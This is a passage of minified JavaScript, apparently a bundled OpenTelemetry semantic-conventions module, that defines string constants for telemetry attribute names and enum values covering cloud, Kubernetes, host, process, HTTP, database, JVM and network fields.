me",Fv4="process.executable.path",Qv4="process.command",Uv4="process.command_line",pv4="process.command_args",dv4="process.owner",cv4="process.runtime.name",lv4="process.runtime.version",iv4="process.runtime.description",nv4="service.name",rv4="service.namespace",ov4="service.instance.id",av4="service.version",sv4="telemetry.sdk.name",tv4="telemetry.sdk.language",ev4="telemetry.sdk.version",AE4="telemetry.auto.version",KE4="webengine.name",qE4="webengine.version",YE4="webengine.description";Kk4.SEMRESATTRS_CLOUD_PROVIDER=ST4;Kk4.SEMRESATTRS_CLOUD_ACCOUNT_ID=hT4;Kk4.SEMRESATTRS_CLOUD_REGION=bT4;Kk4.SEMRESATTRS_CLOUD_AVAILABILITY_ZONE=xT4;Kk4.SEMRESATTRS_CLOUD_PLATFORM=uT4;Kk4.SEMRESATTRS_AWS_ECS_CONTAINER_ARN=BT4;Kk4.SEMRESATTRS_AWS_ECS_CLUSTER_ARN=mT4;Kk4.SEMRESATTRS_AWS_ECS_LAUNCHTYPE=gT4;Kk4.SEMRESATTRS_AWS_ECS_TASK_ARN=FT4;Kk4.SEMRESATTRS_AWS_ECS_TASK_FAMILY=QT4;Kk4.SEMRESATTRS_AWS_ECS_TASK_REVISION=UT4;Kk4.SEMRESATTRS_AWS_EKS_CLUSTER_ARN=pT4;Kk4.SEMRESATTRS_AWS_LOG_GROUP_NAMES=dT4;Kk4.SEMRESATTRS_AWS_LOG_GROUP_ARNS=cT4;Kk4.SEMRESATTRS_AWS_LOG_STREAM_NAMES=lT4;Kk4.SEMRESATTRS_AWS_LOG_STREAM_ARNS=iT4;Kk4.SEMRESATTRS_CONTAINER_NAME=nT4;Kk4.SEMRESATTRS_CONTAINER_ID=rT4;Kk4.SEMRESATTRS_CONTAINER_RUNTIME=oT4;Kk4.SEMRESATTRS_CONTAINER_IMAGE_NAME=aT4;Kk4.SEMRESATTRS_CONTAINER_IMAGE_TAG=sT4;Kk4.SEMRESATTRS_DEPLOYMENT_ENVIRONMENT=tT4;Kk4.SEMRESATTRS_DEVICE_ID=eT4;Kk4.SEMRESATTRS_DEVICE_MODEL_IDENTIFIER=Av4;Kk4.SEMRESATTRS_DEVICE_MODEL_NAME=Kv4;Kk4.SEMRESATTRS_FAAS_NAME=qv4;Kk4.SEMRESATTRS_FAAS_ID=Yv4;Kk4.SEMRESATTRS_FAAS_VERSION=zv4;Kk4.SEMRESATTRS_FAAS_INSTANCE=wv4;Kk4.SEMRESATTRS_FAAS_MAX_MEMORY=Hv4;Kk4.SEMRESATTRS_HOST_ID=Jv4;Kk4.SEMRESATTRS_HOST_NAME=Ov4;Kk4.SEMRESATTRS_HOST_TYPE=Xv4;Kk4.SEMRESATTRS_HOST_ARCH=$v4;Kk4.SEMRESATTRS_HOST_IMAGE_NAME=_v4;Kk4.SEMRESATTRS_HOST_IMAGE_ID=Gv4;Kk4.SEMRESATTRS_HOST_IMAGE_VERSION=Zv4;Kk4.SEMRESATTRS_K8S_CLUSTER_NAME=Wv4;Kk4.SEMRESATTRS_K8S_NODE_NAME=Dv4;Kk4.SEMRESATTRS_K8S_NODE_UID=jv4;Kk4.SEMRESATTRS_K8S_NAMESPACE_NAME=Mv4;Kk4.SEMRESATTRS_K8S_POD_UID=Pv4;Kk4.SEMRESATTRS_K8S_POD_NAME=Vv4;Kk4.SEMRESATTRS_K8S_CONTAINER_NAME=fv4;Kk4.SEMRESATTRS_K8S_REPLICASET_UID=Nv4;Kk4.SEMRESATTRS_K8S_REPLICASET_NAME=Tv4;Kk4.SEMRESATTRS_K8S_DEPLOYMENT_UID=vv4;Kk4.SEMRESATTRS_K8S_DEPLOYMENT_NAME=Ev4;Kk4.SEMRESATTRS_K8S_STATEFULSET_UID=kv4;Kk4.SEMRESATTRS_K8S_STATEFULSET_NAME=Cv4;Kk4.SEMRESATTRS_K8S_DAEMONSET_UID=Lv4;Kk4.SEMRESATTRS_K8S_DAEMONSET_NAME=Rv4;Kk4.SEMRESATTRS_K8S_JOB_UID=yv4;Kk4.SEMRESATTRS_K8S_JOB_NAME=Iv4;Kk4.SEMRESATTRS_K8S_CRONJOB_UID=Sv4;Kk4.SEMRESATTRS_K8S_CRONJOB_NAME=hv4;Kk4.SEMRESATTRS_OS_TYPE=bv4;Kk4.SEMRESATTRS_OS_DESCRIPTION=xv4;Kk4.SEMRESATTRS_OS_NAME=uv4;Kk4.SEMRESATTRS_OS_VERSION=Bv4;Kk4.SEMRESATTRS_PROCESS_PID=mv4;Kk4.SEMRESATTRS_PROCESS_EXECUTABLE_NAME=gv4;Kk4.SEMRESATTRS_PROCESS_EXECUTABLE_PATH=Fv4;Kk4.SEMRESATTRS_PROCESS_COMMAND=Qv4;Kk4.SEMRESATTRS_PROCESS_COMMAND_LINE=Uv4;Kk4.SEMRESATTRS_PROCESS_COMMAND_ARGS=pv4;Kk4.SEMRESATTRS_PROCESS_OWNER=dv4;Kk4.SEMRESATTRS_PROCESS_RUNTIME_NAME=cv4;Kk4.SEMRESATTRS_PROCESS_RUNTIME_VERSION=lv4;Kk4.SEMRESATTRS_PROCESS_RUNTIME_DESCRIPTION=iv4;Kk4.SEMRESATTRS_SERVICE_NAME=nv4;Kk4.SEMRESATTRS_SERVICE_NAMESPACE=rv4;Kk4.SEMRESATTRS_SERVICE_INSTANCE_ID=ov4;Kk4.SEMRESATTRS_SERVICE_VERSION=av4;Kk4.SEMRESATTRS_TELEMETRY_SDK_NAME=sv4;Kk4.SEMRESATTRS_TELEMETRY_SDK_LANGUAGE=tv4;Kk4.SEMRESATTRS_TELEMETRY_SDK_VERSION=ev4;Kk4.SEMRESATTRS_TELEMETRY_AUTO_VERSION=AE4;Kk4.SEMRESATTRS_WEBENGINE_NAME=KE4;Kk4.SEMRESATTRS_WEBENGINE_VERSION=qE4;Kk4.SEMRESATTRS_WEBENGINE_DESCRIPTION=YE4;Kk4.SemanticResourceAttributes=(0,g4A.createConstMap)([ST4,hT4,bT4,xT4,uT4,BT4,mT4,gT4,FT4,QT4,UT4,pT4,dT4,cT4,lT4,iT4,nT4,rT4,oT4,aT4,sT4,tT4,eT4,Av4,Kv4,qv4,Yv4,zv4,wv4,Hv4,Jv4,Ov4,Xv4,$v4,_v4,Gv4,Zv4,Wv4,Dv4,jv4,Mv4,Pv4,Vv4,fv4,Nv4,Tv4,vv4,Ev4,kv4,Cv4,Lv4,Rv4,yv4,Iv4,Sv4,hv4,bv4,xv4,uv4,Bv4,mv4,gv4,Fv4,Qv4,Uv4,pv4,dv4,cv4,lv4,iv4,nv4,rv4,ov4,av4,sv4,tv4,ev4,AE4,KE4,qE4,YE4]);var zE4="alibaba_cloud",wE4="aws",HE4="azure",JE4="gcp";Kk4.CLOUDPROVIDERVALUES_ALIBABA_CLOUD=zE4;Kk4.CLOUDPROVIDERVALUES_AWS=wE4;Kk4.CLOUDPROVIDERVALUES_AZURE=HE4;Kk4.CLOUDPROVIDERVALUES_GCP=JE4;Kk4.CloudProviderValues=(0,g4A.createConstMap)([zE4,wE4,HE4,JE4]);var OE4="alibaba_cloud_ecs",XE4="alibaba_cloud_fc",$E4="aws_ec2",_E4="aws_ecs",GE4="aws_eks",ZE4="aws_lambda",WE4="aws_elastic_beanstalk",DE4="azure_vm",jE4="azure_container_instances",ME4="azure_aks",PE4="azure_functions",VE4="azure_app_service",fE4="gcp_compute_engine",NE4="gcp_cloud_run",TE4="gcp_kubernetes_engine",vE4="gcp_cloud_functions",EE4="gcp_app_engine";Kk4.CLOUDPLATFORMVALUES_ALIBABA_CLOUD_ECS=OE4;Kk4.CLOUDPLATFORMVALUES_ALIBABA_CLOUD_FC=XE4;Kk4.CLOUDPLATFORMVALUES_AWS_EC2=$E4;Kk4.CLOUDPLATFORMVALUES_AWS_ECS=_E4;Kk4.CLOUDPLATFORMVALUES_AWS_EKS=GE4;Kk4.CLOUDPLATFORMVALUES_AWS_LAMBDA=ZE4;Kk4.CLOUDPLATFORMVALUES_AWS_ELASTIC_BEANSTALK=WE4;Kk4.CLOUDPLATFORMVALUES_AZURE_VM=DE4;Kk4.CLOUDPLATFORMVALUES_AZURE_CONTAINER_INSTANCES=jE4;Kk4.CLOUDPLATFORMVALUES_AZURE_AKS=ME4;Kk4.CLOUDPLATFORMVALUES_AZURE_FUNCTIONS=PE4;Kk4.CLOUDPLATFORMVALUES_AZURE_APP_SERVICE=VE4;Kk4.CLOUDPLATFORMVALUES_GCP_COMPUTE_ENGINE=fE4;Kk4.CLOUDPLATFORMVALUES_GCP_CLOUD_RUN=NE4;Kk4.CLOUDPLATFORMVALUES_GCP_KUBERNETES_ENGINE=TE4;Kk4.CLOUDPLATFORMVALUES_GCP_CLOUD_FUNCTIONS=vE4;Kk4.CLOUDPLATFORMVALUES_GCP_APP_ENGINE=EE4;Kk4.CloudPlatformValues=(0,g4A.createConstMap)([OE4,XE4,$E4,_E4,GE4,ZE4,WE4,DE4,jE4,ME4,PE4,VE4,fE4,NE4,TE4,vE4,EE4]);var kE4="ec2",CE4="fargate";Kk4.AWSECSLAUNCHTYPEVALUES_EC2=kE4;Kk4.AWSECSLAUNCHTYPEVALUES_FARGATE=CE4;Kk4.AwsEcsLaunchtypeValues=(0,g4A.createConstMap)([kE4,CE4]);var LE4="amd64",RE4="arm32",yE4="arm64",IE4="ia64",SE4="ppc32",hE4="ppc64",bE4="x86";Kk4.HOSTARCHVALUES_AMD64=LE4;Kk4.HOSTARCHVALUES_ARM32=RE4;Kk4.HOSTARCHVALUES_ARM64=yE4;Kk4.HOSTARCHVALUES_IA64=IE4;Kk4.HOSTARCHVALUES_PPC32=SE4;Kk4.HOSTARCHVALUES_PPC64=hE4;Kk4.HOSTARCHVALUES_X86=bE4;Kk4.HostArchValues=(0,g4A.createConstMap)([LE4,RE4,yE4,IE4,SE4,hE4,bE4]);var xE4="windows",uE4="linux",BE4="darwin",mE4="freebsd",gE4="netbsd",FE4="openbsd",QE4="dragonflybsd",UE4="hpux",pE4="aix",dE4="solaris",cE4="z_os";Kk4.OSTYPEVALUES_WINDOWS=xE4;Kk4.OSTYPEVALUES_LINUX=uE4;Kk4.OSTYPEVALUES_DARWIN=BE4;Kk4.OSTYPEVALUES_FREEBSD=mE4;Kk4.OSTYPEVALUES_NETBSD=gE4;Kk4.OSTYPEVALUES_OPENBSD=FE4;Kk4.OSTYPEVALUES_DRAGONFLYBSD=QE4;Kk4.OSTYPEVALUES_HPUX=UE4;Kk4.OSTYPEVALUES_AIX=pE4;Kk4.OSTYPEVALUES_SOLARIS=dE4;Kk4.OSTYPEVALUES_Z_OS=cE4;Kk4.OsTypeValues=(0,g4A.createConstMap)([xE4,uE4,BE4,mE4,gE4,FE4,QE4,UE4,pE4,dE4,cE4]);var lE4="cpp",iE4="dotnet",nE4="erlang",rE4="go",oE4="java",aE4="nodejs",sE4="php",tE4="python",eE4="ruby",Ak4="webjs";Kk4.TELEMETRYSDKLANGUAGEVALUES_CPP=lE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_DOTNET=iE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_ERLANG=nE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_GO=rE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_JAVA=oE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_NODEJS=aE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_PHP=sE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_PYTHON=tE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_RUBY=eE4;Kk4.TELEMETRYSDKLANGUAGEVALUES_WEBJS=Ak4;Kk4.TelemetrySdkLanguageValues=(0,g4A.createConstMap)([lE4,iE4,nE4,rE4,oE4,aE4,sE4,tE4,eE4,Ak4])});var Hk4=v((F4A)=>{var ew9=F4A&&F4A.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),AH9=F4A&&F4A.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))ew9(K,A,q)};Object.defineProperty(F4A,"__esModule",{value:!0});AH9(wk4(),F4A)});var _k4=v((Jk4)=>{Object.defineProperty(Jk4,"__esModule",{value:!0});Jk4.ATTR_EXCEPTION_TYPE=Jk4.ATTR_EXCEPTION_STACKTRACE=Jk4.ATTR_EXCEPTION_MESSAGE=Jk4.ATTR_EXCEPTION_ESCAPED=Jk4.ERROR_TYPE_VALUE_OTHER=Jk4.ATTR_ERROR_TYPE=Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_POH=Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_LOH=Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_GEN2=Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_GEN1=Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_GEN0=Jk4.ATTR_DOTNET_GC_HEAP_GENERATION=Jk4.DB_SYSTEM_NAME_VALUE_POSTGRESQL=Jk4.DB_SYSTEM_NAME_VALUE_MYSQL=Jk4.DB_SYSTEM_NAME_VALUE_MICROSOFT_SQL_SERVER=Jk4.DB_SYSTEM_NAME_VALUE_MARIADB=Jk4.ATTR_DB_SYSTEM_NAME=Jk4.ATTR_DB_STORED_PROCEDURE_NAME=Jk4.ATTR_DB_RESPONSE_STATUS_CODE=Jk4.ATTR_DB_QUERY_TEXT=Jk4.ATTR_DB_QUERY_SUMMARY=Jk4.ATTR_DB_OPERATION_NAME=Jk4.ATTR_DB_OPERATION_BATCH_SIZE=Jk4.ATTR_DB_NAMESPACE=Jk4.ATTR_DB_COLLECTION_NAME=Jk4.ATTR_CODE_STACKTRACE=Jk4.ATTR_CODE_LINE_NUMBER=Jk4.ATTR_CODE_FUNCTION_NAME=Jk4.ATTR_CODE_FILE_PATH=Jk4.ATTR_CODE_COLUMN_NUMBER=Jk4.ATTR_CLIENT_PORT=Jk4.ATTR_CLIENT_ADDRESS=Jk4.ATTR_ASPNETCORE_USER_IS_AUTHENTICATED=Jk4.ASPNETCORE_ROUTING_MATCH_STATUS_VALUE_SUCCESS=Jk4.ASPNETCORE_ROUTING_MATCH_STATUS_VALUE_FAILURE=Jk4.ATTR_ASPNETCORE_ROUTING_MATCH_STATUS=Jk4.ATTR_ASPNETCORE_ROUTING_IS_FALLBACK=Jk4.ATTR_ASPNETCORE_REQUEST_IS_UNHANDLED=Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_REQUEST_CANCELED=Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_GLOBAL_LIMITER=Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_ENDPOINT_LIMITER=Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_ACQUIRED=Jk4.ATTR_ASPNETCORE_RATE_LIMITING_RESULT=Jk4.ATTR_ASPNETCORE_RATE_LIMITING_POLICY=Jk4.ATTR_ASPNETCORE_DIAGNOSTICS_HANDLER_TYPE=Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_UNHANDLED=Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_SKIPPED=Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_HANDLED=Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_ABORTED=Jk4.ATTR_ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT=void 0;Jk4.OTEL_STATUS_CODE_VALUE_ERROR=Jk4.ATTR_OTEL_STATUS_CODE=Jk4.ATTR_OTEL_SCOPE_VERSION=Jk4.ATTR_OTEL_SCOPE_NAME=Jk4.NETWORK_TYPE_VALUE_IPV6=Jk4.NETWORK_TYPE_VALUE_IPV4=Jk4.ATTR_NETWORK_TYPE=Jk4.NETWORK_TRANSPORT_VALUE_UNIX=Jk4.NETWORK_TRANSPORT_VALUE_UDP=Jk4.NETWORK_TRANSPORT_VALUE_TCP=Jk4.NETWORK_TRANSPORT_VALUE_QUIC=Jk4.NETWORK_TRANSPORT_VALUE_PIPE=Jk4.ATTR_NETWORK_TRANSPORT=Jk4.ATTR_NETWORK_PROTOCOL_VERSION=Jk4.ATTR_NETWORK_PROTOCOL_NAME=Jk4.ATTR_NETWORK_PEER_PORT=Jk4.ATTR_NETWORK_PEER_ADDRESS=Jk4.ATTR_NETWORK_LOCAL_PORT=Jk4.ATTR_NETWORK_LOCAL_ADDRESS=Jk4.JVM_THREAD_STATE_VALUE_WAITING=Jk4.JVM_THREAD_STATE_VALUE_TIMED_WAITING=Jk4.JVM_THREAD_STATE_VALUE_TERMINATED=Jk4.JVM_THREAD_STATE_VALUE_RUNNABLE=Jk4.JVM_THREAD_STATE_VALUE_NEW=Jk4.JVM_THREAD_STATE_VALUE_BLOCKED=Jk4.ATTR_JVM_THREAD_STATE=Jk4.ATTR_JVM_THREAD_DAEMON=Jk4.JVM_MEMORY_TYPE_VALUE_NON_HEAP=Jk4.JVM_MEMORY_TYPE_VALUE_HEAP=Jk4.ATTR_JVM_MEMORY_TYPE=Jk4.ATTR_JVM_MEMORY_POOL_NAME=Jk4.ATTR_JVM_GC_NAME=Jk4.ATTR_JVM_GC_ACTION=Jk4.ATTR_HTTP_ROUTE=Jk4.ATTR_HTTP_RESPONSE_STATUS_CODE=Jk4.ATTR_HTTP_RESPONSE_HEADER=Jk4.ATTR_HTTP_REQUEST_RESEND_COUNT=Jk4.ATTR_HTTP_REQUEST_METHOD_ORIGINAL=Jk4.HTTP_REQUEST_METHOD_VALUE_TRACE=Jk4.HTTP_REQUEST_METHOD_VALUE_PUT=Jk4.HTTP_REQUEST_METHOD_VALUE_POST=Jk4.HTTP_REQUEST_METHOD_VALUE_PATCH=Jk4.HTTP_REQUEST_METHOD_VALUE_OPTIONS=Jk4.HTTP_REQUEST_METHOD_VALUE_HEAD=Jk4.HTTP_REQUEST_METHOD_VALUE_GET=Jk4.HTTP_REQUEST_METHOD_VALUE_DELETE=Jk4.HTTP_REQUEST_METHOD_VALUE_CONNECT=Jk4.HTTP_REQUEST_METHOD_VALUE_OTHER=Jk4.ATTR_HTTP_REQUEST_METHOD=Jk4.ATTR_HTTP_REQUEST_HEADER=void 0;Jk4.ATTR_USER_AGENT_ORIGINAL=Jk4.ATTR_URL_SCHEME=Jk4.ATTR_URL_QUERY=Jk4.ATTR_URL_PATH=Jk4.ATTR_URL_FULL=Jk4.ATTR_URL_FRAGMENT=Jk4.ATTR_TELEMETRY_SDK_VERSION=Jk4.ATTR_TELEMETRY_SDK_NAME=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_WEBJS=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_SWIFT=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_RUST=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_RUBY=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_PYTHON=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_PHP=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_NODEJS=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_JAVA=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_GO=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_ERLANG=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_DOTNET=Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_CPP=Jk4.ATTR_TELEMETRY_SDK_LANGUAGE=Jk4.SIGNALR_TRANSPORT_VALUE_WEB_SOCKETS=Jk4.SIGNALR_TRANSPORT_VALUE_SERVER_SENT_EVENTS=Jk4.SIGNALR_TRANSPORT_VALUE_LONG_POLLING=Jk4.ATTR_SIGNALR_TRANSPORT=Jk4.SIGNALR_CONNECTION_STATUS_VALUE_TIMEOUT=Jk4.SIGNALR_CONNECTION_STATUS_VALUE_NORMAL_CLOSURE=Jk4.SIGNALR_CONNECTION_STATUS_VALUE_APP_SHUTDOWN=Jk4.ATTR_SIGNALR_CONNECTION_STATUS=Jk4.ATTR_SERVICE_VERSION=Jk4.ATTR_SERVICE_NAME=Jk4.ATTR_SERVER_PORT=Jk4.ATTR_SERVER_ADDRESS=Jk4.ATTR_OTEL_STATUS_DESCRIPTION=Jk4.OTEL_STATUS_CODE_VALUE_OK=void 0;Jk4.ATTR_ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT="aspnetcore.diagnostics.exception.result";Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_ABORTED="aborted";Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_HANDLED="handled";Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_SKIPPED="skipped";Jk4.ASPNETCORE_DIAGNOSTICS_EXCEPTION_RESULT_VALUE_UNHANDLED="unhandled";Jk4.ATTR_ASPNETCORE_DIAGNOSTICS_HANDLER_TYPE="aspnetcore.diagnostics.handler.type";Jk4.ATTR_ASPNETCORE_RATE_LIMITING_POLICY="aspnetcore.rate_limiting.policy";Jk4.ATTR_ASPNETCORE_RATE_LIMITING_RESULT="aspnetcore.rate_limiting.result";Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_ACQUIRED="acquired";Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_ENDPOINT_LIMITER="endpoint_limiter";Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_GLOBAL_LIMITER="global_limiter";Jk4.ASPNETCORE_RATE_LIMITING_RESULT_VALUE_REQUEST_CANCELED="request_canceled";Jk4.ATTR_ASPNETCORE_REQUEST_IS_UNHANDLED="aspnetcore.request.is_unhandled";Jk4.ATTR_ASPNETCORE_ROUTING_IS_FALLBACK="aspnetcore.routing.is_fallback";Jk4.ATTR_ASPNETCORE_ROUTING_MATCH_STATUS="aspnetcore.routing.match_status";Jk4.ASPNETCORE_ROUTING_MATCH_STATUS_VALUE_FAILURE="failure";Jk4.ASPNETCORE_ROUTING_MATCH_STATUS_VALUE_SUCCESS="success";Jk4.ATTR_ASPNETCORE_USER_IS_AUTHENTICATED="aspnetcore.user.is_authenticated";Jk4.ATTR_CLIENT_ADDRESS="client.address";Jk4.ATTR_CLIENT_PORT="client.port";Jk4.ATTR_CODE_COLUMN_NUMBER="code.column.number";Jk4.ATTR_CODE_FILE_PATH="code.file.path";Jk4.ATTR_CODE_FUNCTION_NAME="code.function.name";Jk4.ATTR_CODE_LINE_NUMBER="code.line.number";Jk4.ATTR_CODE_STACKTRACE="code.stacktrace";Jk4.ATTR_DB_COLLECTION_NAME="db.collection.name";Jk4.ATTR_DB_NAMESPACE="db.namespace";Jk4.ATTR_DB_OPERATION_BATCH_SIZE="db.operation.batch.size";Jk4.ATTR_DB_OPERATION_NAME="db.operation.name";Jk4.ATTR_DB_QUERY_SUMMARY="db.query.summary";Jk4.ATTR_DB_QUERY_TEXT="db.query.text";Jk4.ATTR_DB_RESPONSE_STATUS_CODE="db.response.status_code";Jk4.ATTR_DB_STORED_PROCEDURE_NAME="db.stored_procedure.name";Jk4.ATTR_DB_SYSTEM_NAME="db.system.name";Jk4.DB_SYSTEM_NAME_VALUE_MARIADB="mariadb";Jk4.DB_SYSTEM_NAME_VALUE_MICROSOFT_SQL_SERVER="microsoft.sql_server";Jk4.DB_SYSTEM_NAME_VALUE_MYSQL="mysql";Jk4.DB_SYSTEM_NAME_VALUE_POSTGRESQL="postgresql";Jk4.ATTR_DOTNET_GC_HEAP_GENERATION="dotnet.gc.heap.generation";Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_GEN0="gen0";Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_GEN1="gen1";Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_GEN2="gen2";Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_LOH="loh";Jk4.DOTNET_GC_HEAP_GENERATION_VALUE_POH="poh";Jk4.ATTR_ERROR_TYPE="error.type";Jk4.ERROR_TYPE_VALUE_OTHER="_OTHER";Jk4.ATTR_EXCEPTION_ESCAPED="exception.escaped";Jk4.ATTR_EXCEPTION_MESSAGE="exception.message";Jk4.ATTR_EXCEPTION_STACKTRACE="exception.stacktrace";Jk4.ATTR_EXCEPTION_TYPE="exception.type";var KH9=(A)=>`http.request.header.${A}`;Jk4.ATTR_HTTP_REQUEST_HEADER=KH9;Jk4.ATTR_HTTP_REQUEST_METHOD="http.request.method";Jk4.HTTP_REQUEST_METHOD_VALUE_OTHER="_OTHER";Jk4.HTTP_REQUEST_METHOD_VALUE_CONNECT="CONNECT";Jk4.HTTP_REQUEST_METHOD_VALUE_DELETE="DELETE";Jk4.HTTP_REQUEST_METHOD_VALUE_GET="GET";Jk4.HTTP_REQUEST_METHOD_VALUE_HEAD="HEAD";Jk4.HTTP_REQUEST_METHOD_VALUE_OPTIONS="OPTIONS";Jk4.HTTP_REQUEST_METHOD_VALUE_PATCH="PATCH";Jk4.HTTP_REQUEST_METHOD_VALUE_POST="POST";Jk4.HTTP_REQUEST_METHOD_VALUE_PUT="PUT";Jk4.HTTP_REQUEST_METHOD_VALUE_TRACE="TRACE";Jk4.ATTR_HTTP_REQUEST_METHOD_ORIGINAL="http.request.method_original";Jk4.ATTR_HTTP_REQUEST_RESEND_COUNT="http.request.resend_count";var qH9=(A)=>`http.response.header.${A}`;Jk4.ATTR_HTTP_RESPONSE_HEADER=qH9;Jk4.ATTR_HTTP_RESPONSE_STATUS_CODE="http.response.status_code";Jk4.ATTR_HTTP_ROUTE="http.route";Jk4.ATTR_JVM_GC_ACTION="jvm.gc.action";Jk4.ATTR_JVM_GC_NAME="jvm.gc.name";Jk4.ATTR_JVM_MEMORY_POOL_NAME="jvm.memory.pool.name";Jk4.ATTR_JVM_MEMORY_TYPE="jvm.memory.type";Jk4.JVM_MEMORY_TYPE_VALUE_HEAP="heap";Jk4.JVM_MEMORY_TYPE_VALUE_NON_HEAP="non_heap";Jk4.ATTR_JVM_THREAD_DAEMON="jvm.thread.daemon";Jk4.ATTR_JVM_THREAD_STATE="jvm.thread.state";Jk4.JVM_THREAD_STATE_VALUE_BLOCKED="blocked";Jk4.JVM_THREAD_STATE_VALUE_NEW="new";Jk4.JVM_THREAD_STATE_VALUE_RUNNABLE="runnable";Jk4.JVM_THREAD_STATE_VALUE_TERMINATED="terminated";Jk4.JVM_THREAD_STATE_VALUE_TIMED_WAITING="timed_waiting";Jk4.JVM_THREAD_STATE_VALUE_WAITING="waiting";Jk4.ATTR_NETWORK_LOCAL_ADDRESS="network.local.address";Jk4.ATTR_NETWORK_LOCAL_PORT="network.local.port";Jk4.ATTR_NETWORK_PEER_ADDRESS="network.peer.address";Jk4.ATTR_NETWORK_PEER_PORT="network.peer.port";Jk4.ATTR_NETWORK_PROTOCOL_NAME="network.protocol.name";Jk4.ATTR_NETWORK_PROTOCOL_VERSION="network.protocol.version";Jk4.ATTR_NETWORK_TRANSPORT="network.transport";Jk4.NETWORK_TRANSPORT_VALUE_PIPE="pipe";Jk4.NETWORK_TRANSPORT_VALUE_QUIC="quic";Jk4.NETWORK_TRANSPORT_VALUE_TCP="tcp";Jk4.NETWORK_TRANSPORT_VALUE_UDP="udp";Jk4.NETWORK_TRANSPORT_VALUE_UNIX="unix";Jk4.ATTR_NETWORK_TYPE="network.type";Jk4.NETWORK_TYPE_VALUE_IPV4="ipv4";Jk4.NETWORK_TYPE_VALUE_IPV6="ipv6";Jk4.ATTR_OTEL_SCOPE_NAME="otel.scope.name";Jk4.ATTR_OTEL_SCOPE_VERSION="otel.scope.version";Jk4.ATTR_OTEL_STATUS_CODE="otel.status_code";Jk4.OTEL_STATUS_CODE_VALUE_ERROR="ERROR";Jk4.OTEL_STATUS_CODE_VALUE_OK="OK";Jk4.ATTR_OTEL_STATUS_DESCRIPTION="otel.status_description";Jk4.ATTR_SERVER_ADDRESS="server.address";Jk4.ATTR_SERVER_PORT="server.port";Jk4.ATTR_SERVICE_NAME="service.name";Jk4.ATTR_SERVICE_VERSION="service.version";Jk4.ATTR_SIGNALR_CONNECTION_STATUS="signalr.connection.status";Jk4.SIGNALR_CONNECTION_STATUS_VALUE_APP_SHUTDOWN="app_shutdown";Jk4.SIGNALR_CONNECTION_STATUS_VALUE_NORMAL_CLOSURE="normal_closure";Jk4.SIGNALR_CONNECTION_STATUS_VALUE_TIMEOUT="timeout";Jk4.ATTR_SIGNALR_TRANSPORT="signalr.transport";Jk4.SIGNALR_TRANSPORT_VALUE_LONG_POLLING="long_polling";Jk4.SIGNALR_TRANSPORT_VALUE_SERVER_SENT_EVENTS="server_sent_events";Jk4.SIGNALR_TRANSPORT_VALUE_WEB_SOCKETS="web_sockets";Jk4.ATTR_TELEMETRY_SDK_LANGUAGE="telemetry.sdk.language";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_CPP="cpp";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_DOTNET="dotnet";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_ERLANG="erlang";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_GO="go";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_JAVA="java";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_NODEJS="nodejs";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_PHP="php";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_PYTHON="python";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_RUBY="ruby";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_RUST="rust";Jk4.TELEMETRY_SD